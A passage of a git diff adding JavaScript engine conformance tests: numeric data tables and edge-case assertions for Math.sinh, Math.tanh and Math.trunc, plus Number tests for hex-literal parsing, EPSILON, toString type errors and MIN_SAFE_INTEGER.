+ [-4.431216695067421, -42.01084899902342],
+ [-4.114720236218123, -30.60937499999999],
+ [-3.9785790831656023, -26.711166381835938],
+ [-3.9220215830953484, -25.24131774902344],
+ [-3.3770026324620295, -14.624359130859379],
+ [-3.214961448471211, -12.431087493896483],
+ [-3.021397455139021, -10.235607147216797],
+ [-2.937831931335705, -9.41094970703125],
+ [-1.267878515574959, -1.6359391212463381],
+ [1.6504814008555524e-12, 1.6504814008555524e-12],
+ [2.0654207510961697e-12, 2.0654207510961697e-12],
+ [6.933230031758164e-12, 6.933230031758164e-12],
+ [1.3351444949627478e-11, 1.3351444949627478e-11],
+ [1.6399812063916386e-11, 1.6399812063916386e-11],
+ [5.730159402528301e-11, 5.730159402528301e-11],
+ [1.113731329382972e-10, 1.113731329382972e-10],
+ [1.4214707189097453e-10, 1.4214707189097453e-10],
+ [3.8006320313144215e-10, 3.8006320313144215e-10],
+ [6.09162720266454e-10, 6.09162720266454e-10],
+ [1.0221641311147778e-9, 1.0221641311147778e-9],
+ [2.8819222563924995e-9, 2.8819222563924995e-9],
+ [4.7627768395841485e-9, 4.7627768395841485e-9],
+ [8.854133426439148e-9, 8.854133426439148e-9],
+ [2.305032609228874e-8, 2.3050326092288742e-8],
+ [5.939249092534734e-8, 5.9392490925347374e-8],
+ [1.1667648891489053e-7, 1.166764889148908e-7],
+ [2.379967440901942e-7, 2.3799674409019644e-7],
+ [4.6846594159431437e-7, 4.684659415943315e-7],
+ [9.382699772685088e-7, 9.382699772686465e-7],
+ [0.0000011039855962733358, 0.00000110398559627356],
+ [0.000003291776010877096, 0.0000032917760108830407],
+ [0.000007517213816683722, 0.00000751721381675452],
+ [0.000015114666893502755, 0.000015114666894078255],
+ [0.00002986399339999406, 0.00002986399340443313],
+ [0.000033870281179478836, 0.00003387028118595481],
+ [0.00009066011977069884, 0.00009066011989489198],
+ [0.00021949532498377364, 0.00021949532674625516],
+ [0.00043952149320897676, 0.00043952150736004114],
+ [0.0006333151408864353, 0.0006333151832222939],
+ [0.0011151230445582744, 0.001115123275667429],
+ [0.0019624658370807177, 0.001962467096745968],
+ [0.005553725496786973, 0.005553754046559334],
+ [0.008691018931968294, 0.008691128343343735],
+ [0.02992889492062484, 0.02993336319923401],
+ [0.05122020579778827, 0.05124260485172272],
+ [0.1117800293787828, 0.11201295256614685],
+ [0.23269806521543376, 0.23480379581451416],
+ [0.4721357117742938, 0.4898730516433716],
+ [0.694611571189336, 0.7518312931060792],
+ [1.2781607348262256, 1.6557407379150393],
+ [1.9917262343245115, 3.5958566665649414],
+ [2.009484184971722, 3.6627054214477544],
+ [2.128787712416205, 4.142845153808595],
+ [2.4846967934155475, 5.95706558227539],
+ [3.083125584533294, 10.890350341796875],
+ [4.002981567623351, 27.3714599609375],
+ [4.080736210902826, 29.586067199707028],
+ [4.120845430011113, 30.79753875732421],
+ [4.351258506393416, 38.78157043457031],
+ [4.540883728536112, 46.88148498535155],
+ [4.547981853382592, 47.21551513671875],
+ [4.5480891170767, 47.220581054687514],
+ [4.599728302509061, 49.72361755371096],
+ [4.8131842711857535, 61.557464599609396],
+ [4.910082619934558, 67.82162475585939],
+ [4.924747230639767, 68.82363891601564],
+ [4.993937439635391, 73.75466918945312],
+ [5.087099712053554, 80.95669555664065],
+ [5.1389346970196295, 85.26406860351562],
+ [5.138977285472121, 85.26770019531251],
+ [5.223879832616765, 92.82385253906247],
+ [5.241812789460327, 94.50357055664062],
+ [5.447141014648796, 116.04467773437499],
+ [5.511633288238573, 123.77554321289061],
+ [5.578681289305598, 132.3592529296875],
+ [5.633110296634631, 139.76330566406253],
+ [5.662701238627725, 143.96093750000003],
+ [5.678906941005323, 146.31298828124997],
+ [5.737214893086866, 155.0980224609375],
+ [5.739660763047893, 155.4778442382812],
+ [5.741349685869528, 155.74066162109372],
+ [5.790614371552514, 163.60546874999994],
+ [5.879059869096351, 178.73510742187494],
+ [5.884458728291027, 179.70269775390622],
+ [5.885109945587401, 179.8197631835937],
+ [5.893636014368936, 181.35949707031256],
+ [5.965274032538233, 194.82861328125003],
+ [5.967346683696556, 195.23284912109375],
+ [5.986843466070591, 199.07666015624994],
+ [6.019932686217942, 205.77423095703134],
+ [6.021252909681261, 206.0460815429687],
+ [6.037231102920489, 209.36480712890634],
+ [6.043606439928324, 210.70385742187506],
+ [6.06478541011501, 215.21398925781244],
+ [6.112974120371601, 225.83892822265622],
+ [6.117902255760311, 226.95465087890622],
+ [6.1433256889594094, 232.79864501953136],
+ [6.176483527820343, 240.64721679687503],
+ [6.186757751007361, 243.13244628906241],
+ [6.219667373726848, 251.26702880859372],
+ [6.229418088083555, 253.72906494140634],
+ [6.233184983047428, 254.68664550781241],
+ [6.243005711460192, 257.20019531250006],
+ [6.245102704489327, 257.74011230468744],
+ [6.260468857392134, 261.73120117187506],
+ [6.268152459140511, 263.74999999999994],
+ [6.2748285545831655, 265.5167236328125],
+ [6.305976070434008, 273.9171142578125],
+ [6.32399546069982, 278.8977050781249],
+ [6.324961403980197, 279.16723632812506],
+ [6.370613506132747, 292.20727539062494],
+ [6.375359978930309, 293.59753417968744],
+ [6.3766447200146, 293.9749755859376],
+ [6.380802563199264, 295.19982910156244],
+ [6.387824152942429, 297.27990722656244],
+ [6.390003820200831, 297.9285888671876],
+ [6.3905985680679, 298.10583496093744],
+ [6.397866642974941, 300.2803955078125],
+ [6.421725738171608, 307.5310058593751],
+ [6.423818963102848, 308.17541503906244],
+ [6.428865255911759, 309.7344970703124],
+ [6.443449261058927, 314.28479003906244],
+ [6.444844602076255, 314.7236328125],
+ [6.464094341970107, 320.84069824218756],
+ [6.465356699668166, 321.24597167968744],
+ [6.467400466944125, 321.90319824218756],
+ [6.472218114936839, 323.457763671875],
+ [6.4947499213823265, 330.8286132812501],
+ [6.507305446835735, 335.00854492187483],
+ [6.524202033435675, 340.71716308593756],
+ [6.546694993078936, 348.46777343749994],
+ [6.548591493378012, 349.1292724609374],
+ [6.613194950203132, 372.4288330078126],
+ [6.6247505436339065, 376.7574462890626],
+ [6.629181796246806, 378.43066406249994],
+ [6.6616087711302185, 390.9031982421874],
+ [6.698989091751707, 405.79187011718744],
+ [6.702857353572475, 407.3646240234375],
+ [6.717505881986416, 413.37585449218756],
+ [6.723197804327891, 415.73547363281256],
+ [6.726699007993023, 417.1936035156251],
+ [6.735483889307782, 420.87475585937483],
+ [6.755219602793124, 429.26354980468756],
+ [6.756366380816258, 429.75610351562506],
+ [6.766177290841293, 433.99316406250006],
+ [6.766217511883346, 434.01062011718767],
+ [6.780091308338912, 440.0739746093749],
+ [6.802889310303153, 450.22204589843744],
+ [6.813484439494547, 455.017578125],
+ [6.818196843455478, 457.16687011718744],
+ [6.818940201487998, 457.50683593749994],
+ [6.822833193143805, 459.29138183593756],
+ [6.82327083544577, 459.49243164062506],
+ [6.823817951018, 459.743896484375],
+ [6.834945773756887, 464.8884277343749],
+ [6.835113285253827, 464.96630859375017],
+ [6.840964582694129, 467.6949462890624],
+ [6.84346890521034, 468.86767578125017],
+ [6.847141429556457, 470.5927734375002],
+ [6.869243403190376, 481.10961914062483],
+ [6.882355637062964, 487.4595947265624],
+ [6.884531678915821, 488.5214843750001],
+ [6.89341643293734, 492.8812255859376],
+ [6.895822338701104, 494.06848144531233],
+ [6.900653737167637, 496.46130371093733],
+ [7.2670429692740965, 716.1540527343751],
+ [8.188647968122073, 1799.925781250001],
+ [8.872023251113289, 3564.8457031250014],
+ [9.566596912986167, 7139.869140625004],
+ [10.092554861905608, 12081.222656249996],
+ [10.728112113864427, 22810.24218749999],
+ [11.442480870715618, 46598.96875000003],
+ [12.28759157077177, 108493.37500000009],
+ [12.636950838344218, 153860.81249999988],
+ [13.327813723030063, 307019.4999999998],
+ [14.126778167009777, 682577.25],
+ [15.090269265334971, 1788919.000000001],
+ [15.835512291283944, 3769169],
+ [15.973721689554742, 4327820.000000002],
+ [16.910547205715446, 11044023.999999983],
+ [17.573132558903225, 21423208.000000004],
+ [18.649063156437965, 62828288.00000006],
+ [18.760110887365155, 70207360.00000012],
+ [19.547111966180875, 154231424.00000012],
+ [20.193967491567523, 294509055.9999997],
+ [21.484592263156223, 1070557183.9999999],
+ [22.088297141021556, 1957922816.0000024],
+ [22.780591462699917, 3912507392.0000005],
+ [23.401438520318692, 7279233024.000007],
+ [23.684949498080787, 9665245184.000017],
+ [24.5355829820426, 22627590144.000004],
+ [25.520740767599584, 60601991168.00004],
+ [26.31438890085422, 134018236416.00002],
+ [26.73876398039979, 204864946175.99973],
+ [27.06660583008718, 284346286080.00024],
+ [28.234874284944635, 914576637951.9989],
+ [28.78280496108106, 1581915832319.9973]
+];
+
+for (var [x, y] of sinh_data)
+ assertNear(Math.sinh(x), y);
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Math/sinh-exact.js b/js/src/tests/non262/Math/sinh-exact.js
new file mode 100644
index 0000000000..bfae1f7524
--- /dev/null
+++ b/js/src/tests/non262/Math/sinh-exact.js
@@ -0,0 +1,19 @@
+// Properties of Math.sinh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.sinh(NaN), NaN);
+
+// If x is +0, the result is +0.
+assertEq(Math.sinh(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.sinh(-0), -0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.sinh(Infinity), Infinity);
+
+// If x is −∞, the result is −∞.
+assertEq(Math.sinh(-Infinity), -Infinity);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/tanh-approx.js b/js/src/tests/non262/Math/tanh-approx.js
new file mode 100644
index 0000000000..252322a099
--- /dev/null
+++ b/js/src/tests/non262/Math/tanh-approx.js
@@ -0,0 +1,282 @@
+var sloppy_tolerance = 2;
+
+for (var i = -20; i < 20; i++) {
+ assertNear(Math.tanh(i),
+ (Math.exp(i) - Math.exp(-i)) / (Math.exp(i) + Math.exp(-i)),
+ sloppy_tolerance);
+}
+
+assertEq(Math.tanh(1e300), 1);
+
+var tanh_data = [
+ [-0.9999983310699463, -6.998237084679027],
+ [-0.9999978542327881, -6.87257975132917],
+ [-0.999992847442627, -6.2705920974657525],
+ [-0.9999861717224121, -5.940967614084813],
+ [-0.9999828338623047, -5.832855225378502],
+ [-0.9999399185180664, -5.20646301208756],
+ [-0.9998834133148193, -4.8749821841810785],
+ [-0.9998509883880615, -4.752279497280338],
+ [-0.9996016025543213, -4.260504202858904],
+ [-0.9993612766265869, -4.0244334353203115],
+ [-0.9989283084869385, -3.7655641082999236],
+ [-0.9969782829284668, -3.246782610980921],
+ [-0.9950058460235596, -2.9950671179940938],
+ [-0.9942638874053955, -2.9256242749609536],
+ [-0.990715742111206, -2.6839646283308363],
+ [-0.9903340339660645, -2.663723350226518],
+ [-0.9760982990264893, -2.207464998348322],
+ [-0.975830078125, -2.201817459680556],
+ [-0.9728245735168457, -2.1424542308291437],
+ [-0.9643559455871582, -2.0046686756020917],
+ [-0.9377224445343018, -1.7188337346177065],
+ [-0.9362406730651855, -1.7066940482565154],
+ [-0.9310147762298584, -1.6659543005533146],
+ [-0.9284839630126953, -1.6472838718760747],
+ [-0.9270248413085938, -1.6368067340881562],
+ [-0.9075665473937988, -1.5135473477311114],
+ [-0.897477388381958, -1.4590986086331497],
+ [-0.8920106887817383, -1.431681573516303],
+ [-0.8776559829711914, -1.365471286049011],
+ [-0.864722728729248, -1.3117705583444539],
+ [-0.8482067584991455, -1.249725893334944],
+ [-0.8056559562683105, -1.1145246028592257],
+ [-0.8048388957977295, -1.112200609756455],
+ [-0.7801985740661621, -1.0458778330822556],
+ [-0.7749934196472168, -1.032711173436253],
+ [-0.7619285583496094, -1.0007967281362184],
+ [-0.7504425048828125, -0.9739672824457072],
+ [-0.7495596408843994, -0.9719492983286864],
+ [-0.7481319904327393, -0.968698942014487],
+ [-0.7459518909454346, -0.9637657636705832],
+ [-0.7401137351989746, -0.9507308314464193],
+ [-0.7289731502532959, -0.9265325319867653],
+ [-0.7226788997650146, -0.9132299082876396],
+ [-0.7161557674407959, -0.8997082193533088],
+ [-0.7017018795013428, -0.8706453720344796],
+ [-0.7013418674468994, -0.86993650130945],
+ [-0.691054105758667, -0.8499705913361888],
+ [-0.6847054958343506, -0.837919455842005],
+ [-0.6838164329528809, -0.8362476144993315],
+ [-0.6747090816497803, -0.8193374156276964],
+ [-0.6575610637664795, -0.7885046044142132],
+ [-0.6522045135498047, -0.7791255597799839],
+ [-0.6261923313140869, -0.7351275788820003],
+ [-0.623173713684082, -0.7301771459970386],
+ [-0.6067488193511963, -0.7037597526130627],
+ [-0.5838055610656738, -0.6682166303197608],
+ [-0.579524040222168, -0.6617457665293066],
+ [-0.5760939121246338, -0.656596458857398],
+ [-0.5654678344726562, -0.6408350116350283],
+ [-0.5578761100769043, -0.6297442839791668],
+ [-0.5523209571838379, -0.6217149641475687],
+ [-0.5396339893341064, -0.6036390747171698],
+ [-0.5128989219665527, -0.5666556256064771],
+ [-0.5087778568267822, -0.5610793900942042],
+ [-0.4977825880050659, -0.546353950571504],
+ [-0.4913865327835083, -0.5378865967606703],
+ [-0.48976075649261475, -0.5357455496477738],
+ [-0.48493504524230957, -0.5294166456244711],
+ [-0.4479050636291504, -0.4820764946679979],
+ [-0.4461095333099365, -0.4798325976916711],
+ [-0.4429593086242676, -0.47590653371561276],
+ [-0.42827916145324707, -0.45778739362936793],
+ [-0.40590059757232666, -0.4306933608076879],
+ [-0.40029656887054443, -0.4240020382545707],
+ [-0.3961341381072998, -0.4190551379319939],
+ [-0.3836275339126587, -0.40430627175908734],
+ [-0.36686253547668457, -0.3847928551425507],
+ [-0.3657644987106323, -0.38352464227459343],
+ [-0.33507001399993896, -0.3485286317501442],
+ [-0.32572221755981445, -0.3380352468276522],
+ [-0.3191967010498047, -0.3307524237890151],
+ [-0.3000025749206543, -0.3095224337886503],
+ [-0.29665136337280273, -0.3058438250228025],
+ [-0.2944457530975342, -0.3034271164344305],
+ [-0.2872810363769531, -0.29560018347246825],
+ [-0.27738428115844727, -0.28484608203169437],
+ [-0.2390844225883484, -0.2438028008332661],
+ [-0.23685944080352783, -0.24144425169391517],
+ [-0.2253856658935547, -0.2293228153248168],
+ [-0.22283810377120972, -0.22664053064745143],
+ [-0.21552443504333496, -0.21895773601143995],
+ [-0.2153375744819641, -0.21876178107952995],
+ [-0.21016258001327515, -0.21334143320771737],
+ [-0.20250272750854492, -0.2053409277979887],
+ [-0.19156384468078613, -0.19396008474133075],
+ [-0.18251943588256836, -0.18458771439322938],
+ [-0.17464947700500488, -0.17645844608618066],
+ [-0.15646183490753174, -0.15775766677189154],
+ [-0.15580910444259644, -0.15708862621964176],
+ [-0.15365445613861084, -0.15488112515549593],
+ [-0.122499018907547, -0.12311733609904851],
+ [-0.1088167130947113, -0.10924929296737837],
+ [-0.08792558312416077, -0.08815322150790302],
+ [-0.08401328325271606, -0.08421178632314608],
+ [-0.06121261417865753, -0.06128924075509796],
+ [-0.05341699719429016, -0.05346789060550386],
+ [-0.05047759413719177, -0.05052053189238029],
+ [-0.02924579381942749, -0.029254136237332657],
+ [-0.02485968917608261, -0.02486481220617492],
+ [-0.020469173789024353, -0.02047203328100153],
+ [-0.01882001757621765, -0.018822240021756347],
+ [-0.016152501106262207, -0.016153906073109205],
+ [-0.0032715508714318275, -0.003271562543358962],
+ [1.6504814008555524e-12, 1.6504814008555524e-12],
+ [2.0654207510961697e-12, 2.0654207510961697e-12],
+ [6.933230031758164e-12, 6.933230031758164e-12],
+ [1.3351444949627478e-11, 1.3351444949627478e-11],
+ [1.6399812063916386e-11, 1.6399812063916386e-11],
+ [5.730159402528301e-11, 5.730159402528301e-11],
+ [1.113731329382972e-10, 1.113731329382972e-10],
+ [1.4214707189097453e-10, 1.4214707189097453e-10],
+ [3.8006320313144215e-10, 3.8006320313144215e-10],
+ [6.09162720266454e-10, 6.09162720266454e-10],
+ [1.0221641311147778e-9, 1.0221641311147778e-9],
+ [2.8819222563924995e-9, 2.8819222563924995e-9],
+ [4.7627768395841485e-9, 4.7627768395841485e-9],
+ [8.854133426439148e-9, 8.854133426439148e-9],
+ [2.3050326092288742e-8, 2.3050326092288745e-8],
+ [5.9392490925347374e-8, 5.939249092534745e-8],
+ [1.166764889148908e-7, 1.1667648891489133e-7],
+ [2.3799674409019644e-7, 2.3799674409020094e-7],
+ [4.684659415943315e-7, 4.684659415943658e-7],
+ [9.382699772686465e-7, 9.382699772689218e-7],
+ [0.00000110398559627356, 0.0000011039855962740086],
+ [0.0000032917760108830407, 0.0000032917760108949305],
+ [0.00000751721381675452, 0.000007517213816896115],
+ [0.000015114666894078255, 0.000015114666895229252],
+ [0.00002986399340443313, 0.00002986399341331128],
+ [0.00003387028118595481, 0.000033870281198906756],
+ [0.00009066011989489198, 0.00009066012014327826],
+ [0.00021949532674625516, 0.0002194953302712184],
+ [0.00043952150736004114, 0.0004395215356621756],
+ [0.0006333151832222939, 0.0006333152678940465],
+ [0.001115123275667429, 0.0011151237378863419],
+ [0.001962467096745968, 0.001962469616086656],
+ [0.005553754046559334, 0.005553811147953338],
+ [0.007324676960706711, 0.0073248079567425],
+ [0.008691128343343735, 0.008691347183450786],
+ [0.011912941932678223, 0.011913505535037906],
+ [0.02993336319923401, 0.029942308168570204],
+ [0.05124260485172272, 0.05128752666822782],
+ [0.05473744869232178, 0.05479221508125444],
+ [0.06158891320228577, 0.061666963819518306],
+ [0.09375360608100891, 0.09402975380882211],
+ [0.09442159533500671, 0.09470370926367391],
+ [0.09443172812461853, 0.09471393321406026],
+ [0.09943729639053345, 0.09976699249016487],
+ [0.11201295256614685, 0.11248498303558895],
+ [0.12310260534286499, 0.12373016402339168],
+ [0.13562965393066406, 0.13647060950861248],
+ [0.13763350248336792, 0.13851257866094746],
+ [0.14749455451965332, 0.14857829980464834],
+ [0.1618971824645996, 0.16333433166790448],
+ [0.17051106691360474, 0.17219298693637355],
+ [0.17051833868026733, 0.17220047646299907],
+ [0.18562912940979004, 0.18780647318150087],
+ [0.18898820877075195, 0.1912876932893582],
+ [0.23206615447998047, 0.23637212433914523],
+ [0.23480379581451416, 0.2392675448267427],
+ [0.2646920680999756, 0.27114729033023005],
+ [0.2794986963272095, 0.2871382059344433],
+ [0.28789305686950684, 0.2962673858386819],
+ [0.292596697807312, 0.30140373665239234],
+ [0.3101649284362793, 0.320727882769785],
+ [0.3109246492385864, 0.3215686893944558],
+ [0.31145012378692627, 0.3221505056451929],
+ [0.3271782398223877, 0.3396649461699478],
+ [0.3574345111846924, 0.37394153436545424],
+ [0.3593693971633911, 0.37616159223090223],
+ [0.35960352420806885, 0.37643046596933716],
+ [0.3626827001571655, 0.3799714809649667],
+ [0.38961827754974365, 0.4113499159905353],
+ [0.3904266357421875, 0.41230330080214],
+ [0.3981136083602905, 0.4214052375603139],
+ [0.411507248878479, 0.43742438709579096],
+ [0.4120509624481201, 0.43807911823743495],
+ [0.41868770122528076, 0.4460997186945703],
+ [0.42136549949645996, 0.4493511447897729],
+ [0.4516327381134033, 0.48674948990473677],
+ [0.4538639783859253, 0.4895560176112375],
+ [0.4655507802963257, 0.5043748446613433],
+ [0.48124635219573975, 0.5246050193978663],
+ [0.48621630668640137, 0.5310932154891663],
+ [0.4898730516433716, 0.5358932909903701],
+ [0.5024838447570801, 0.5526234425942533],
+ [0.5074074268341064, 0.5592320547729962],
+ [0.5093221664428711, 0.5618140818296767],
+ [0.5143489837646484, 0.5686253097655146],
+ [0.5154285430908203, 0.5700943191671631],
+ [0.5234100818634033, 0.5810250825991418],
+ [0.5274472236633301, 0.5866018515043636],
+ [0.5309803485870361, 0.5915094458340507],
+ [0.5477793216705322, 0.6152030999229688],
+ [0.5577394962310791, 0.6295459624918965],
+ [0.5582785606384277, 0.6303287742357745],
+ [0.5843560695648193, 0.6690521906099505],
+ [0.5871362686157227, 0.6732844960442398],
+ [0.5878911018371582, 0.6744372167164567],
+ [0.5903406143188477, 0.6781887236623534],
+ [0.5945003032684326, 0.684597775489552],
+ [0.5957975387573242, 0.6866065102131665],
+ [0.5961520671844482, 0.6871563252400655],
+ [0.6005008220672607, 0.6939300827887145],
+ [0.6150004863739014, 0.7169242329194352],
+ [0.6162893772125244, 0.7189998055497108],
+ [0.6194069385528564, 0.7240422748778544],
+ [0.6285066604614258, 0.7389438896054792],
+ [0.6293842792510986, 0.7403958734869583],
+ [0.6416172981262207, 0.7609178886018204],
+ [0.6424276828765869, 0.7622965466812235],
+ [0.6437420845031738, 0.7645378650643101],
+ [0.6468508243560791, 0.769864795178161],
+ [0.6615910530090332, 0.7956379107512945],
+ [0.669950008392334, 0.8106524185805045],
+ [0.6813662052154541, 0.8316597473423232],
+ [0.6968657970428467, 0.8611812790659296],
+ [0.6981887817382812, 0.8637579113749143],
+ [0.7447831630706787, 0.9611360201710216],
+ [0.7518312931060791, 0.9771540941752986],
+ [0.7534394264221191, 0.9808634133542229],
+ [0.7567856311798096, 0.9886489208209699],
+ [0.7817282676696777, 1.0497991719828956],
+ [0.8115026950836182, 1.1314141444187586],
+ [0.814647912979126, 1.1406947755584418],
+ [0.8266689777374268, 1.1775230833699681],
+ [0.8313877582550049, 1.1926138225701433],
+ [0.8343038558959961, 1.2021323323039612],
+ [0.8416652679443359, 1.2268570644335162],
+ [0.8584413528442383, 1.2873896671573652],
+ [0.8678996562957764, 1.3245040433929398],
+ [0.8679344654083252, 1.3246451309261607],
+ [0.8800599575042725, 1.3760334877782177],
+ [0.9003539085388184, 1.4740852961194106],
+ [0.9099440574645996, 1.5271990851861994],
+ [0.9142425060272217, 1.5527768948273004],
+ [0.9149219989776611, 1.556931837197936],
+ [0.9184908866882324, 1.5792896628381612],
+ [0.9188928604125977, 1.5818663359427627],
+ [0.919395923614502, 1.5851082843320008],
+ [0.9296839237213135, 1.6560555223295368],
+ [0.9298396110534668, 1.6572041418041492],
+ [0.9352962970733643, 1.6990986433619266],
+ [0.9376416206359863, 1.718164398807965],
+ [0.9410912990570068, 1.7475084077246632],
+ [0.962122917175293, 1.9737180163455101],
+ [0.9748215675354004, 2.1811227771083783],
+ [0.9769454002380371, 2.2257214499698255],
+ [0.985663890838623, 2.4654635601650536],
+ [0.9880380630493164, 2.5565869228142004],
+ [0.9928233623504639, 2.8132383539094192],
+ [1e-300, 1e-300],
+ [0.00001, 0.000010000000000333334],
+ [0.3, 0.3095196042031117],
+ [1e-30, 1e-30],
+ [1e-10, 1e-10],
+];
+
+for (var [x, y] of tanh_data)
+ assertNear(Math.tanh(y), x, sloppy_tolerance);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/tanh-exact.js b/js/src/tests/non262/Math/tanh-exact.js
new file mode 100644
index 0000000000..bfd9ac4def
--- /dev/null
+++ b/js/src/tests/non262/Math/tanh-exact.js
@@ -0,0 +1,19 @@
+// Properties of Math.tanh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.tanh(NaN), NaN);
+
+// If x is +0, the result is +0.
+assertEq(Math.tanh(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.tanh(-0), -0);
+
+// If x is +∞, the result is +1.
+assertEq(Math.tanh(Number.POSITIVE_INFINITY), +1);
+
+// If x is −∞, the result is -1.
+assertEq(Math.tanh(Number.NEGATIVE_INFINITY), -1);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/trunc.js b/js/src/tests/non262/Math/trunc.js
new file mode 100644
index 0000000000..4cadfd9224
--- /dev/null
+++ b/js/src/tests/non262/Math/trunc.js
@@ -0,0 +1,50 @@
+// If x is NaN, the result is NaN.
+assertEq(Math.trunc(NaN), NaN);
+
+// If x is −0, the result is −0.
+assertEq(Math.trunc(-0), -0);
+
+// If x is +0, the result is +0.
+assertEq(Math.trunc(+0), +0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.trunc(Infinity), Infinity);
+
+// If x is −∞, the result is −∞.
+assertEq(Math.trunc(-Infinity), -Infinity);
+
+// Other boundary cases.
+var MAX_NONINTEGER_VALUE = 4503599627370495.5;
+var TRUNC_MAX_NONINTEGER_VALUE = 4503599627370495;
+
+assertEq(Math.trunc(Number.MIN_VALUE), +0);
+assertEq(Math.trunc(ONE_MINUS_EPSILON), +0);
+assertEq(Math.trunc(ONE_PLUS_EPSILON), 1);
+assertEq(Math.trunc(MAX_NONINTEGER_VALUE), TRUNC_MAX_NONINTEGER_VALUE);
+assertEq(Math.trunc(Number.MAX_VALUE), Number.MAX_VALUE);
+
+assertEq(Math.trunc(-Number.MIN_VALUE), -0);
+assertEq(Math.trunc(-ONE_MINUS_EPSILON), -0);
+assertEq(Math.trunc(-ONE_PLUS_EPSILON), -1);
+assertEq(Math.trunc(-MAX_NONINTEGER_VALUE), -TRUNC_MAX_NONINTEGER_VALUE);
+assertEq(Math.trunc(-Number.MAX_VALUE), -Number.MAX_VALUE);
+
+// Other cases.
+for (var i = 1, f = 1.1; i < 20; i++, f += 1.0)
+ assertEq(Math.trunc(f), i);
+
+for (var i = -1, f = -1.1; i > -20; i--, f -= 1.0)
+ assertEq(Math.trunc(f), i);
+
+assertEq(Math.trunc(1e40 + 0.5), 1e40);
+
+assertEq(Math.trunc(1e300), 1e300);
+assertEq(Math.trunc(-1e300), -1e300);
+assertEq(Math.trunc(1e-300), 0);
+assertEq(Math.trunc(-1e-300), -0);
+
+assertEq(Math.trunc(+0.9999), +0);
+assertEq(Math.trunc(-0.9999), -0);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Number/0x-without-following-hexdigits.js b/js/src/tests/non262/Number/0x-without-following-hexdigits.js
new file mode 100644
index 0000000000..ffb329e5c8
--- /dev/null
+++ b/js/src/tests/non262/Number/0x-without-following-hexdigits.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 582643;
+var summary = "'0x' not followed by hex digits should be a syntax error";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ eval("0x");
+ throw new Error("didn't throw parsing 0x (with no subsequent hex digits)");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "bad exception thrown: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Number/15.7.3.7-EPSILON.js b/js/src/tests/non262/Number/15.7.3.7-EPSILON.js
new file mode 100644
index 0000000000..55e92ef1c0
--- /dev/null
+++ b/js/src/tests/non262/Number/15.7.3.7-EPSILON.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 885798;
+var summary = "ES6 (draft May 2013) 15.7.3.7 Number.EPSILON";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Test value
+assertEq(Number.EPSILON, Math.pow(2, -52));
+
+// Test property attributes
+var descriptor = Object.getOwnPropertyDescriptor(Number, 'EPSILON');
+assertEq(descriptor.writable, false);
+assertEq(descriptor.configurable, false);
+assertEq(descriptor.enumerable, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Number/15.7.4.2.js b/js/src/tests/non262/Number/15.7.4.2.js
new file mode 100644
index 0000000000..36443394cb
--- /dev/null
+++ b/js/src/tests/non262/Number/15.7.4.2.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('Number.prototype.toString.call(true)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call("")'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call({})'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call(null)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call([])'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call(undefined)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call(new Boolean(true))'), true);
+
+assertEq(completesNormally('Number.prototype.toString.call(42)'), true);
+assertEq(completesNormally('Number.prototype.toString.call(new Number(42))'), true);
+
+function testAround(middle)
+{
+ var range = 260;
+ var low = middle - range/2;
+ for (var i = 0; i < range; ++i)
+ assertEq(low + i, parseInt(String(low + i)));
+}
+
+testAround(-Math.pow(2,32));
+testAround(-Math.pow(2,16));
+testAround(0);
+testAround(+Math.pow(2,16));
+testAround(+Math.pow(2,32));
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Number/20.1.2.10-MIN_SAFE_INTEGER.js b/js/src/tests/non262/Number/20.1.2.10-MIN_SAFE_INTEGER.js
new file mode 100644
index 0000000000..8b96651ff2
--- /dev/null
+++ b/js/src/tests/non262/Number/20.1.2.10-MIN_SAFE_INTEGER.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+
+var BUGNUMBER = 885798;
+var summary = "ES6 (draft April 2014) 20.1.2.10 Number.MIN_SAFE_INTEGER";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Test value
+assertEq(Number.MIN_SAFE_INTEGER, -(Math.pow(2, 53) - 1));
+
+//Test property attributes
+var descriptor = Object.getOwnPropertyDescriptor(Number, 'MIN_SAFE_INTEGER');
+
+assertEq(descriptor.writable, false);
+assertEq(descriptor.configurable, false);
